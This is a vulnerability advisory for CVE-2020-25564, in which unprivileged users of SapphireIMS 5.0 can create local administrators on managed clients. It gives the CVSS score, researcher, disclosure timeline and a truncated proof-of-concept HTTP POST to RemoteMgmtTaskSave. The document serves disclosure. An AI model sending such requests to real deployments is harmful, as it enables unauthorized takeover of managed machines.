[CVE-2020-25564] SapphireIMS: Unprivileged user remote command execution (create local admin on clients)

Posted on Sep 19, 2020

Description

In SapphireIMS 5.0, it is possible to create local administrator on any client with credentials of a non-privileged user by directly accessing `RemoteMgmtTaskSave` (Automation Tasks) feature.

CVSS 3.0 Base Score

9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

Researcher

Tanoy Bose

POC

```
 1   POST /SapphireIMS/RemoteMgmtTaskSave?mainmenu=yes HTTP/1.1
 2   Host: 192.168.191.48
 3   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Fir
 4   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
 5   Accept-Language: en-US,en;q=0.5
 6   Accept-Encoding: gzip, deflate
 7   Content-Type: application/x-www-form-urlencoded
 8   Content-Length: 1619
 9   Origin: http://192.168.191.48
10   Connection: close
11   Referer: http://192.168.191.48/SapphireIMS/TaskConfiguration.jsp?jobTypeId=2017&T
12   Cookie: JSESSIONID=Ni+9V4wVLLkXCe5J0mirr2P4
13   Upgrade-Insecure-Requests: 1
14
15   applicationLogoutTypeOldUI=0&nodupSite=1&mainMenuID=yes&WMIIndex=0&WMITabName=WMI
```

Vulnerability Tracker]

- CVE-2020-25564

Disclosure timelines

- 07 May, 2020 - Vendor informed; failed
- 16 Sept, 2020 - Cert-CC and Cert-In Informed

CVE-2020-25564   # SapphireIMS   # Web application

Looking for something?